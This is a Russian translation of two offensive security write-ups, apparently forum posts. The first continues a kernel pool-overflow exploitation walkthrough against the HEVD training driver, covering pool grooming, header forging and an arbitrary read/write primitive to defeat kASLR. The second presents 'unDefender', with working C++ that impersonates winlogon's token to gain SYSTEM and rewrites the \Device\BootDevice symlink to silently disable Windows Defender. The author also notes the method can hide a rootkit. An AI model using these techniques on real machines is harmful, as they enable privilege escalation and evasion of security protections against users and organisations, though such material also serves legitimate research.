После подтверждения существования ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
выполняется проверка, чтобы убедиться, что указатель Name
, который был
извлечен из буфера пользовательского режима элемента Name типа
PARW_HELPER_OBJECT_IO
, находится в пользовательском режиме. Обратите
внимание, что g_ARWHelperObjectNonPagedPoolNx[Index]
используются в этой
ситуации, как еще один способ ссылки на объекте
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
в области видимости, так как все
g_ARWHelperObjectNonPagedPoolNx
находится в конце дня является массивом,
типа PARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, которая управляет всеми активными
указателями ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
.
После подтверждения того, что буфер поступает из пользовательского режима, эта
функция завершается копированием значения Name
, которое является значением,
предоставленным нами через DeviceIoControl
и объект ARW_HELPER_OBJECT_IO
,
в член Name ранее созданного ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
через
CreateArbitraryReadWriteHelperObaged
Давайте проверим эту теорию в WinDbg. Здесь мы должны искать значение,
указанное членом Name
нашего предоставленного пользователем
ARW_HELPER_OBJECT_IO
, которое должно быть записано в член Name
объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, созданного в предыдущем вызове
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
. Наш обновленный код
выглядит следующим образом.
Приведенный выше код должен перезаписать член Name
ранее созданного объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
из функции
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
. Обратите внимание, что
IOCTL
для функции SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
равен
0x00222067
.
Затем мы можем установить точку останова в WinDbg для выполнения динамического анализа.
Затем мы можем установить точку останова на ProbeForRead,
которая будет
принимать первый аргумент, который является нашим пользовательским
ARW_HELPER_OBJECT_IO
, и проверять, находится ли он в пользовательском
режиме. Мы можем проанализировать этот адрес памяти в WinDbg, который будет в
RCX, когда вызов функции происходит из-за соглашения о вызовах __fastcall
, и
увидеть, что это не только буфер пользовательского режима, но и объект, из
которого мы намеревались отправить пользовательский режим для функции
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
.
Это значение HelperObjectAddress
является адресом ранее
созданного/связанного объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Мы также
можем проверить это в WinDbg.
Вспомните ранее, что связанный объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
имеет член Length
, взятый из Length
, отправленного из нашей структуры
ARW_HELPER_OBJECT_IO
пользовательского режима. Член Name
в
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
также инициализируется нулевым значением
в соответствии с вызовом RtlFillMemory
из подпрограммы
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
, который инициализирует
буфер Name
с помощью значения 0 (напомним, что член Name
буфера для
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX фактически был выделен с помощью
ExAllocatePoolWithTag структуры ARW_HELPER_OBJECT_IO в нашем вызове
DeviceIoControl).
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name
- это член, который должен быть
перезаписан содержимым объекта ARW_HELPER_OBJECT_IO
, который мы отправили из
пользовательского режима, который в настоящее время установлен на
0x4141414141414141
. Зная это, давайте установим точку останова в
подпрограмме RtlCopyMemory
, которая будет отображаться как memcpy
в HEVD
через WinDbg.
Это не удается. Код ошибки здесь - доступ запрещен. Почему это? Напомним, что
есть последний вызов ProbeForRead
непосредственно перед вызовом memcpy
C:Copy to clipboard
ProbeForRead(
Name,
g_ARWHelperObjectNonPagedPoolNx[Index]->Length,
(ULONG)__alignof(UCHAR)
);
Переменная Name
здесь извлекается из буфера пользовательского режима
ARW_HELPER_OBJECT_IO
. Поскольку мы предоставили значение
0x4141414141414141
, это технически недействительный адрес, и вызов
ProbeForRead
не сможет найти этот адрес. Вместо этого давайте создадим
указатель пользовательского режима и воспользуемся им!
После повторного выполнения кода и достижения всех точек останова мы видим,
что выполнение теперь достигает подпрограммы memcpy
.
После выполнения процедуры memcpy объект
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, созданный из функции
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
, теперь указывает на
значение, указанное нашим буфером пользовательского режима,
0x4141414141414141
.
Мы приближаемся к нашей цели! Вы можете видеть, что это в значительной степени
неконтролируемый произвольный примитив записи сам по себе. Однако проблема
здесь в том, что значение, которое мы можем перезаписать, - это
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Name - это указатель, который
выделяется в ядре через ExAllocatePoolWithTag
. Поскольку мы не можем
напрямую управлять адресом, хранящимся в этом элементе, мы ограничены только
перезаписью того, что нам предоставляет ядро. Наша цель - использовать
уязвимость переполнения пула, чтобы преодолеть это (в будущем).
Прежде чем перейти к этапу эксплуатации, нам нужно изучить еще один обработчик IOCTL, а также обработчик IOCTL для удаления объектов, что не должно занимать много времени.
Последний обработчик IOCTL, который нужно исследовать, - это обработчик IOCTL
GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler
.
Этот обработчик передает предоставленный пользователем буфер типа
ARW_HELPER_OBJECT_IO
в GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
.
Эта функция идентична функции
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
в том, что она копирует
один член Name
в другой член Name
, но в обратном порядке. Как видно ниже,
член Name
, используемый в аргументе назначения для вызова RtlCopyMemory
,
на этот раз взят из буфера, предоставленного пользователем.
Это означает, что если бы мы использовали функцию
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
перезаписать элемент
Name
объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
из функции
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx
тогда мы могли бы
использовать GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
, чтобы
получить имя элемента объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
и пузырек
его по итогам обратно в пользовательском режиме. Давайте изменим наш код,
чтобы обрисовать это. Код IOCTL для доступа к функции
GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
- 0x0022206B
.
В этом случае нам не нужно WinDbg для проверки чего-либо. Мы можем просто
установить содержимое нашего члена ARW_HELPER_OBJECT_IO.Name
как
нежелательное в качестве POC, что после вызова IOCL для достижения
GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
этот элемент будет
перезаписан содержимым связанного/ранее созданного объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, который будет 0x4141414141414141
Поскольку tempBuffer
назначен для ARW_HELPER_OBJECT_IO.Name
, это
технически значение, которое наследует содержимое
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name
в операции memcpy
от функции
GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
. Как мы видим, мы можем
успешно получить содержимое связанного объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name
. Опять же, проблема в том, что мы
не можем выбрать, на что указывает ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name
,
поскольку это определяется драйвером. Вскоре мы воспользуемся уязвимостью
переполнения пула, чтобы преодолеть это ограничение.
Последний обработчик IOCTL - это операция удаления, найденная в
DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler
.
Этот обработчик IOCTL анализирует входной буфер из DeviceIoControl
как
структуру ARW_HELPER_OBJECT_IO
. Затем этот буфер передается в функцию
DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx
.
Эта функция довольно упрощена - поскольку HelperObjectAddress
указывает на
связанный объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, этот член используется
в вызове ExAllocateFreePoolWithTag
для освобождения объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Кроме того, освобождается член
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name
, который также выделяется
ExAllocatePoolWithTag
.
Теперь, когда мы знаем все тонкости работы драйвера, мы можем продолжить (обратите внимание, что нам повезло, что у нас есть исходный код в этом случае. Использование дизассемблера требует немного больше времени, чтобы прийти к тем же выводам. мы смогли прийти)
Теперь давайте приступим к эксплуатации (на этот раз по-настоящему)****
Мы знаем, что наша ситуация в настоящее время допускает неконтролируемый
произвольный примитив чтения/записи. Это связано с тем, что член
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name
в настоящее время установлен на
адрес распределения пула через ExAllocatePoolWithTag
. При переполнении
нашего пула мы попытаемся перезаписать этот адрес на значимый адрес. Это
позволит нам повредить управляемый адрес, что позволит нам получить
произвольный примитив чтения/записи.
Наша стратегия очистки пула, поскольку все эти объекты имеют одинаковый размер
и размещены в пуле одного и того же типа (NonPagedPoolNx
), будет следующей:
VULNERABLE_OBJECT | ARW_HELPER_OBJECT_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | ARW_HELPER_OBJECT_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
KUSER_SHARED_DATA + 0x800
и переверните бит no-eXecute, чтобы обойти DEP в режиме ядра.Вспомните ранее высказывавшееся мнение о необходимости сохранения структур
_POOL_HEADER
? Здесь все для нас проходит полный круг. Напомним из части 1,
что kLFH по-прежнему использует унаследованные структуры _POOL_HEADER
для
обработки и хранения метаданных для блоков пула. Это означает, что кодирование
не происходит, и можно жестко закодировать заголовок в эксплойте, чтобы при
переполнении пула мы могли убедиться, что при перезаписи заголовка он
перезаписывается тем же содержимым, что и раньше.
Давайте проверим значение _POOL_HEADER
объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, которое мы бы переполнили
Поскольку этот фрагмент составляет 16 байтов и будет частью kLFH, ему
предшествует стандартная структура _POOL_HEADER
. Поскольку это так и
кодирования нет, мы можем просто жестко закодировать значение _POOL_HEADER
(напомним, что _POOL_HEADER
будет на 0x10
байтов перед значением,
возвращаемым ExAllocatePoolWithTag
). Это означает, что мы можем жестко
закодировать значение 0x6b63614802020000
в нашем эксплойте, чтобы во время
переполнения в следующий фрагмент, который должен был быть в одном из этих
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
объектов, которые мы ранее распыляли,
первые 0x10
байтов, которые были переполнены в этом фрагменте, который будет
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX _POOL_HEADER
, будет сохранен и сохранен
как действительный, минуя более раннюю проблему, показанную при возникновении
недопустимого заголовка
Зная об этом и зная, что нам предстоит немного поработать, давайте изменим наш текущий эксплойт, чтобы сделать его более логичным. Мы создадим три функции для выполнения grooming:
Эти функции можно увидеть ниже.
fillHoles()
groomPool()
pokeHoles()
Пожалуйста, обратитесь к Части 1, чтобы понять, что это делает, но, по сути,
этот метод заполнит любые фрагменты в соответствующей корзине kLFH в
NonPagedPoolNx и заставит диспетчер памяти (теоретически) предоставить нам
новую страницу для работы. Затем мы заполняем эту новую страницу объектами,
которые мы контролируем, например объекты
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
Поскольку у нас есть контролируемое переполнение на основе пула, цель будет
состоять в том, чтобы перезаписать любую из структур
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
«уязвимым фрагментом», который копирует
память в выделение без проверки границ. Поскольку уязвимый фрагмент и
фрагменты ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
имеют одинаковый размер,
теоретически они оба окажутся смежными друг с другом, поскольку они окажутся в
одном ведре kLFH.
Последняя функция, называемая readwritePrimitive()
, содержит большую часть
кода эксплойта.
Первый бит этой функции создает «основной»
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
через объект ARW_HELPER_OBJECT_IO
и
выполняет заполнение блоков пула, заполняет новую страницу объектами, которые
мы контролируем, а затем освобождает все остальные из этих объектов.
После освобождения всех остальных объектов мы заменяем эти освобожденные слоты
нашими уязвимыми буферами. Мы также создаем «автономный/основной» объект
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Также обратите внимание, что заголовок
пула имеет размер 16 байтов, то есть это 2 QWORDS, отсюда «Padding».
На самом деле мы надеемся здесь сделать следующее.
Мы хотим использовать управляемую запись только для перезаписи первого члена
этого соседнего объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, Name
. Это
связано с тем, что у нас есть дополнительные примитивы для управления и
возврата этих значений члена Name
, как показано в этом сообщении в блоге.
Однако проблема, с которой мы столкнулись до сих пор, заключается в том, что
адрес члена Name
объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
полностью
контролируется драйвером и не может быть изменен нами, если мы не используем
уязвимость (например, переполнение пула)
Как показано в функции readwritePrimitive()
, цель здесь будет состоять в
том, чтобы фактически повредить соседние блоки с адресом «основного» объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, которым мы будем управлять через
ARW_HELPER_OBJECT_IO.HelperObjectAddress
. Мы хотели бы повредить соседний
объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
точным переполнением, чтобы
испортить значение Name адресом нашего «основного» объекта. В настоящее время
это значение установлено на 0x9090909090909090
. Как только мы докажем, что
это возможно, мы можем пойти дальше, чтобы получить в конечном итоге примитив
чтения/записи
Установив точку останова для подпрограммы
TriggerBufferOverflowNonPagedPoolNx
в HEVD.sys
и установив дополнительную
точку останова для подпрограммы memcpy
, которая выполняет переполнение пула,
мы можем исследовать содержимое пула.
Как видно на изображении выше, мы ясно видим, что мы заполнили пул
контролируемыми объектами ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, а также
«текущим» фрагментом, который относится к уязвимому фрагменту, используемому
при переполнении пула. Все эти фрагменты начинаются с тега Hack
.
Затем, после пошагового выполнения до подпрограммы mempcy, мы можем проверить
содержимое следующего фрагмента, который находится на 0x10
байтов после
значения в RCX, которое используется в месте назначения для операции
копирования памяти. Помните - наша цель - перезаписать соседние блоки пула.
Пошаговое выполнение операции, чтобы четко увидеть, что мы испортили следующий
фрагмент пула, который имеет тип ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
Мы можем проверить, что адрес, который был записан за границу, на самом деле
является адресом «основного», автономного объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, который мы создали.
Помните - структура _POOL_HEADER
имеет длину 0x10
байт. Это делает общий
размер каждого фрагмента пула в этом ведре kLFH 0x20
байтов. Поскольку мы
хотим переполнить соседние блоки, нам нужно сохранить заголовок пула.
Поскольку мы находимся в kLFH, мы можем просто жестко закодировать заголовок
пула, как мы доказали, чтобы удовлетворить пул и избежать каких-либо сбоев,
которые могут возникнуть в результате неправильного фрагмента пула. Кроме
того, мы можем испортить первые 0x10
байтов значения в RCX, которое является
адресом назначения в операции копирования памяти, потому что в «уязвимом»
фрагменте пула (который используется в операции копирования) есть 0x20
байтов. Первые 0x10
байтов - это заголовок, а вторая половина нас фактически
не волнует, так как мы беспокоимся о повреждении соседнего фрагмента. Из-за
этого мы можем установить первые 0x10 байтов нашей копии, которая записывает
за пределы, на 0x10
, чтобы гарантировать, что байты, которые копируются за
пределы, являются байтами, которые составляют заголовок пула следующего
фрагмента.
Теперь мы успешно выполнили запись за пределы диапазона через переполнение
пула и повредили член Name
соседнего объекта
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, который динамически выделяется в пуле
раньше и имеет адрес, который мы не контролируем, если мы не используем
уязвимость например, запись за границу, с адресом, который мы контролируем,
который является адресом объекта, созданного ранее
Хотя в настоящее время это может быть не совсем очевидным, наша стратегия
использования уязвимостей вращается вокруг нашей способности использовать
переполнение пула для записи за пределы. Напомним, что возможности
«Установить» и «Получить» в драйвере позволяют нам читать и писать в память,
но не в контролируемых местах. Расположение контролируется блоком пула,
выделенным для члена Name
объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
.
Давайте посмотрим на поврежденный объект
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Поврежденный объект - один из множества
распыленных объектов. Мы успешно заменили элемент Name
этого объекта адресом
«основного» или автономного объекта ARE_HELPER_OBJECT_NON_PAGED_POOL_NX
.
Мы знаем, что можно установить член Name
структуры
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
через функцию
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx
через вызов IOCTL.
Поскольку теперь мы можем контролировать значение Name
в поврежденном
объекте, давайте посмотрим, сможем ли мы злоупотребить этим с помощью
произвольного примитива чтения.
Давайте разберемся с этим. Мы знаем, что в настоящее время у нас есть
поврежденный объект с членом Name
, которому присвоено значение другого
объекта. Для краткости можно вспомнить это из предыдущего изображения.
Если мы выполняем операцию «Установить» в данный момент на поврежденном
объекте, показанном в команде dt
, и в настоящее время для его члена Name
установлено значение 0xffffa00ca378c210
, он выполнит эту операцию для члена
Name
. Однако мы знаем, что член Name
на самом деле в настоящее время
установлен на значение «основного» объекта через запись за границу! Это
означает, что выполнение операции «Установить» на поврежденном объекте будет
фактически принимать адрес основного объекта, поскольку он установлен в члене
Name
, разыменовать его и записать указанное нами содержимое. Это приведет к
тому, что наш основной объект будет указывать на то, что мы укажем, вместо
значения ffffa00ca378c3b0
, которое в настоящее время отображается в
содержимом памяти, отображаемом dq в WinDbg. Как это превращается в
произвольный примитив чтения? Поскольку наш «основной» объект будет указывать
на любой адрес, который мы укажем, операция «Get», если она выполняется с
«основным» объектом, затем разыменует этот указанный нами адрес и вернет
значение!
В WinDbg мы можем «имитировать» операцию «Set», как показано.
Выполнение операции «Set» на поврежденном объекте фактически установит значение нашего основного объекта на то, что указано пользователю, из-за того, что мы повредили предыдущий случайный адрес из-за уязвимости переполнения пула. На этом этапе выполнение операции «Get» для нашего основного объекта, поскольку он был установлен на значение, указанное пользователем, приведет к разыменованию значения и вернет его нам!
На этом этапе нам нужно определить, какова наша цель. Чтобы полностью обойти kASLR, наша цель заключается в следующем:
HEVD.sys
из исходного эксплойта в первой части, чтобы указать смещение для таблицы адресов импорта.ntoskrnl.exe
для произвольного чтения эксплойта (таким образом получая указатель на ntoskrnl.exe
)Мы можем обновить наш код, чтобы обрисовать это. Как вы помните, мы
подготовили пул с 5000 объектами ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Однако
мы не обрызгали бассейн 5000 «уязвимыми» объектами. Поскольку мы подготовили
пул, мы знаем, что наш уязвимый объект, который мы можем произвольно
записывать в прошлое, в конечном итоге окажется рядом с одним из объектов,
используемых для очистки. Поскольку мы запускаем переполнение только один раз,
и поскольку мы уже установили значения Name
для всех объектов, используемых
для ухода, значение 0x9090909090909090
, мы можем просто использовать
операцию «Get» для просмотра каждого члена Name используемых объектов. для
ухода за шерстью. Если один из объектов не содержит NOP, это указывает на то,
что переполнение пула, описанное ранее, чтобы повредить значение имени
ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
, прошло успешно.
После этого мы можем затем использовать тот же примитив, о котором говорилось
ранее, используя функцию «Set» в HEVD, чтобы установить член Name
целевого
поврежденного объекта, что фактически «обманет» программу, чтобы перезаписать
член Name
поврежденного объекта. , который на самом деле является адресом
«автономного»/основного ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
. Перезапись
приведет к разыменованию автономного объекта, что позволит использовать
произвольный примитив чтения, поскольку у нас есть возможность позже
использовать функцию «Get» для основного объекта.
Затем мы можем добавить к нашему эксплойту функцию «press enter to continue», чтобы приостановить выполнение после того, как основной объект будет выведен на экран, а также поврежденный объект, используемый для очистки, который находится в 5000 объектах, используемых для очистки.
Затем мы можем взять адрес 0xffff8e03c8d5c2b0
, который является поврежденным
объектом, и проверить его в WinDbg. Если все идет хорошо, этот адрес должен
содержать адрес «основного» объекта.
Сравнивая элемент Name
с предыдущим снимком экрана, на котором используется
эксплойт с оператором «press enter to continue», мы видим, что повреждение
пула было успешным и что член Name
одного из 5000 объектов, используемых для
очистки, был перезаписан!
Теперь, если бы мы использовали функцию «Установить» HEVD и предоставили
объект ARW_HELPER_OBJECT_NON_PAGED_POOL
, который был поврежден и также
использовался для очистки, по адресу 0xffff8e03c8d5c2b0
, HEVD использовал бы
значение, хранящееся в Name
, разыменовав его и перезаписав его. Это связано
с тем, что HEVD ожидает одного из распределений пула, ранее показанных для
указателей Name
, которые мы не контролируем. Поскольку мы предоставили
другой адрес, HEVD фактически выполнит перезапись, но на этот раз он
перезапишет предоставленный нами указатель, который является другим
ARW_HELPER_OBJECT_NON_PAGED_POOL
. Поскольку первый член одного из этих
объектов имеет имя члена, произойдет то, что HEVD фактически запишет все, что
мы передаем члену Name
нашего основного объекта! Давайте посмотрим на это в
WinDbg.
Как показал наш эксплойт, в этом случае мы используем HEVD + 0x2038
. Это
значение нужно записать в наш основной объект
Как видите, у нашего основного объекта теперь есть член Name
, указывающий на
HEVD + 0x2038
, который является указателем на ядро! После запуска полного
эксплойта мы теперь получили базовый адрес HEVD из предыдущего эксплойта, а
теперь и базу ядра посредством произвольного чтения посредством переполнения
пула - все из-за низкой целостности!
// Ограничение на кол-во прикрепляемых файлов не позволяет мне сделать перевод одним постом. Второй кусок будет ниже
Коротко
Обладая правами администратора и не взаимодействуя с GUI, мы можем отключить
Защитник. При этом он останется в рабочем состоянии, а Защита от подделки
ничего не заметит. Делается это путём перенаправления символической ссылки
\Device\BootDevice
, которая является частью пути, откуда загружается драйвер
WdFilter. Это также можно использовать для того, чтобы Защитник загрузил
произвольный драйвер. Код находится в репозитории
unDefender.
Вступление
Бла-бла-бла, мы обсуждали с друзьями по интересам метод, позволяющий отключить Защитник, но чтобы это отключение/неявная неработоспособность не бросалось в глаза, а Защита от подделки ничего бы не заподозрила. Что мне понравилось в этом методе, так это то, что в нём использовались некоторые действительно умные махинации с символическими ссылками, которые я опишу в этой статье (которая чисто случайно также является первой в коллекции Advanced Persistent Tortellini ). Кстати, этот метод - отличный способ скрыть руткит внутри Windows, так как Защитник можно обмануть, загрузив произвольный драйвер (но который, к сожалению, он должен быть подписан и не "переживёт" перезагрузку ОС). Ни один инструмент не сможет его определить, как вы скоро увидите. Берите своё пиво, парни, и наслаждайтесь чтением!
Пространства имён Win32/NT, символические ссылки
При загрузке драйвера в Windows есть два способа указать его местоположение:
пространство имён файлов Win32 и пространство имён NT. Полный анализ тонких
различий между этими двумя видами путей выходит за рамки данной статьи, но
James Forshaw уже
[проделал](https://googleprojectzero.blogspot.com/2016/02/the-definitive-
guide-on-win32-to-nt.html) большую работу по его объяснению. По сути,
пространство имён файлов Win32 является урезанной версией пространства имён NT
и в значительной степени зависят от символических ссылок. Пространство Win32 -
это всем нам привычные пути, которые мы используем каждый день, те, которые
используют букву диска. В то время как пространство NT использует другую,
древовидную структуру, на которую и отображаются пути пространства Win32.
Давайте посмотрим на WdFilter.sys:
Когда мы используем Проводник для навигации по папкам в файловой системе, мы
используем пути пространства Win32, на самом же деле путь, который вы видите в
таблице выше, является абстракцией над пространством NT. В ядре пути из левой
части преобразуются в пути из правой части. Как видите, на моей машине диск C:
является символической ссылкой на \Device\HarddiskVolume4
. Символические
ссылки используются для разных целей, например, для указания пути до
определённого драйвера в файловой системе. С помощью командной строки смотрим
WdFilter и видим путь, по которому он расположен:
Как вы видите, это не совсем то, что показано в таблице выше, так как
\SystemRoot
- это символическая ссылка. Используя Winobj.exe от
SysInternals, мы видим, что \SystemRoot
указывает на
\Device\BootDevice\Windows
. \Device\BootDevice
- это ещё одна
символическая ссылка на \Device\HarddiskVolume4
(на моём компьютере). Как и
все объекты в ядре Windows, безопасность символических ссылок подчиняется
правилам ACL. Проверим это:
SYSTEM (и Administrators) не имеют разрешений READ/WRITE на символическую
ссылку \SystemRoot
(хотя её можно запросить и посмотреть, куда она
указывает), но есть разрешение DELETE. Учтите тот факт, что SYSTEM может
создавать новые символические ссылки и вы получите возможность фактически
изменить символическую ссылку: просто удалите её и создайте заново, указав
путь, который вы контролируете. То же самое относится и к другим символическим
ссылкам, включая \Device\BootDevice
. Чтобы переписать такую символическую
ссылку, нам нужно использовать Native API, поскольку Win32 API не
предоставляет такой возможности.
Код
Пройдёмся по коду нашего проекта unDefender. Вот блок-схема, как работает
программа:
Все функции, используемые в программе, определены в заголовочном файле common.h. Здесь вы найдёте определения для функций, которые я динамически загружаю из ntdll. Обратите внимание, что я обернул типы HANDLE, HMODULE и SC_HANDLE в пользовательские типы, входящие в пространство имен RAII, поскольку я сильно полагаюсь на C++ для безопасной работы с этими типами. Эти типы определены в заголовочном файле raii.h и реализованы в raii.cpp.
Получаем права SYSTEM
Прежде всего, мы поднимем наш токен до уровня SYSTEM. Это легко делается при помощью функции GetSystem, реализованной в файле GetSystem.cpp.
C++:Copy to clipboard
#include "common.h"
bool GetSystem()
{
RAII::Handle winlogonHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindPID(L"winlogon.exe"));
if (!winlogonHandle.GetHandle())
{
std::cout << "[-] Couldn't get a PROCESS_ALL_ACCESS handle to winlogon.exe, exiting...\n";
return false;
}
else std::cout << "[+] Got a PROCESS_ALL_ACCESS handle to winlogon.exe!\n";
HANDLE tempHandle;
auto success = OpenProcessToken(winlogonHandle.GetHandle(), TOKEN_QUERY | TOKEN_DUPLICATE, &tempHandle);
if (!success)
{
std::cout << "[-] Couldn't get a handle to winlogon.exe's token, exiting...\n";
return success;
}
else std::cout << "[+] Opened a handle to winlogon.exe's token!\n";
RAII::Handle tokenHandle = tempHandle;
success = ImpersonateLoggedOnUser(tokenHandle.GetHandle());
if (!success)
{
std::cout << "[-] Couldn't impersonate winlogon.exe's token, exiting...\n";
return success;
}
else std::cout << "[+] Successfully impersonated winlogon.exe's token, we are SYSTEM now ;)\n";
return success;
}
Сохранение символической ссылки
После получения прав SYSTEM, нам необходимо создать резервную копию
символической ссылки, чтобы мы могли потом программно восстановить её. Это
делает функция GetSymbolicLinkTarget, реализованная в файле
GetSymbolicLinkTarget.cpp. После получения адресов Nt-функций (код
пропущен), мы определяем две ключевые структуры данных: UNICODE_STRING и
OBJECT_ATTRIBUTES. Они инициализируются с помощью функций RtlInitUnicodeString
и InitializeObjectAttributes. UNICODE_STRING инициализируется с помощью
переменной symLinkName, которая имеет тип std::wstring и является одним из
аргументов, передаваемых в функцию GetSymbolicLinkTarget из главной функции.
Первая - это структура, используемая ядром Windows для работы с юникод-
строками (duh!) и необходимая для инициализации второй, которая, в свою
очередь, используется для открытия хэндла к символической ссылке с помощью
NtOpenSymbolicLinkObject с доступом GENERIC_READ. Перед этим мы определяем
хэндл, который будет инициализирован функцией NtOpenSymbolicLinkObject и
которому мы присвоим соответствующий RAII-тип (мне лень, потом реализую способ
сделать это напрямую без использования временной переменной).
Сделав это, приступаем к инициализации второй UNICODE_STRING, которая будет
использоваться для хранения символической ссылки, полученной из
NtQuerySymbolicLinkObject, принимающей в качестве аргументов RAII::Handle,
описанный выше. Вторая UNICODE_STRING инициализируется nullptr, поскольку нас
не волнует количество прочитанных байт. После этого возвращаем буфер для
второй UNICODE_STRING и на этом всё.
C++:Copy to clipboard
UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE tempSymLinkHandle;
NTSTATUS status = NtOpenSymbolicLinkObject(&tempSymLinkHandle, GENERIC_READ, &symlinkObjAttr);
RAII::Handle symLinkHandle = tempSymLinkHandle;
UNICODE_STRING LinkTarget{};
wchar_t buffer[MAX_PATH] = { L'\0' };
LinkTarget.Buffer = buffer;
LinkTarget.Length = 0;
LinkTarget.MaximumLength = MAX_PATH;
status = NtQuerySymbolicLinkObject(symLinkHandle.GetHandle(), &LinkTarget, nullptr);
if (!NT_SUCCESS(status))
{
Error(RtlNtStatusToDosError(status));
std::wcout << L"[-] Couldn't get the target of the symbolic link " << symLinkName << std::endl;
return L"";
}
else std::wcout << "[+] Symbolic link target is: " << LinkTarget.Buffer << std::endl;
return LinkTarget.Buffer;
Изменяем символическую ссылку
Мы сохранили старое значение символьной ссылки, настало время изменить её. Для этого мы ещё раз настроим две структуры UNICODE_STRING и OBJECT_ATTRIBUTES, которые будут идентифицировать нужную нам символическую ссылку, а затем вызовем функцию NtOpenSymbolicLink, чтобы получить дескриптор указанной символической ссылки с правами DELETE.
C++:Copy to clipboard
UNICODE_STRING symlinkPath;
RtlInitUnicodeString(&symlinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES symlinkObjAttr{};
InitializeObjectAttributes(&symlinkObjAttr, &symlinkPath, OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE symlinkHandle;
NTSTATUS status = NtOpenSymbolicLinkObject(&symlinkHandle, DELETE, &symlinkObjAttr);
Сделав это, приступаем к удалению. Нужно вызвать функцию NtMakeTemporaryObject и передать ей хэндл, который мы только что получили. Так потому, что символьную ссылку мы создали с атрибутом OBJ_PERMANENT, который увеличивает счётчик на них в менеджере объектов ядра на 1. Это означает, что даже если все хэндлы ссылки будут закрыты, сама она будет продолжать существовать внутри ядра. Поэтому, чтобы удалить её, мы должны сделать объект не постоянным, то есть NtMakeTemporaryObject просто уменьшит счётчик ссылок на 1. Когда мы вызовем CloseHandle для хэндла, счётчик ссылок обнулится и объект уничтожится:
C++:Copy to clipboard
status = NtMakeTemporaryObject(symlinkHandle);
CloseHandle(symlinkHandle);
После того как мы удалили символическую ссылку, настал момент создать её заново и сделать так, чтобы она указывала в новое место. Это делается путём повторной инициализации UNICODE_STRING и OBJECT_ATTRIBUTES и вызова NtCreateSymbolicLinkObject:
C++:Copy to clipboard
UNICODE_STRING target;
RtlInitUnicodeString(&target, newDestination.c_str());
UNICODE_STRING newSymLinkPath;
RtlInitUnicodeString(&newSymLinkPath, symLinkName.c_str());
OBJECT_ATTRIBUTES newSymLinkObjAttr{};
InitializeObjectAttributes(&newSymLinkObjAttr, &newSymLinkPath, OBJ_CASE_INSENSITIVE | OBJ_PERMANENT, NULL, NULL);
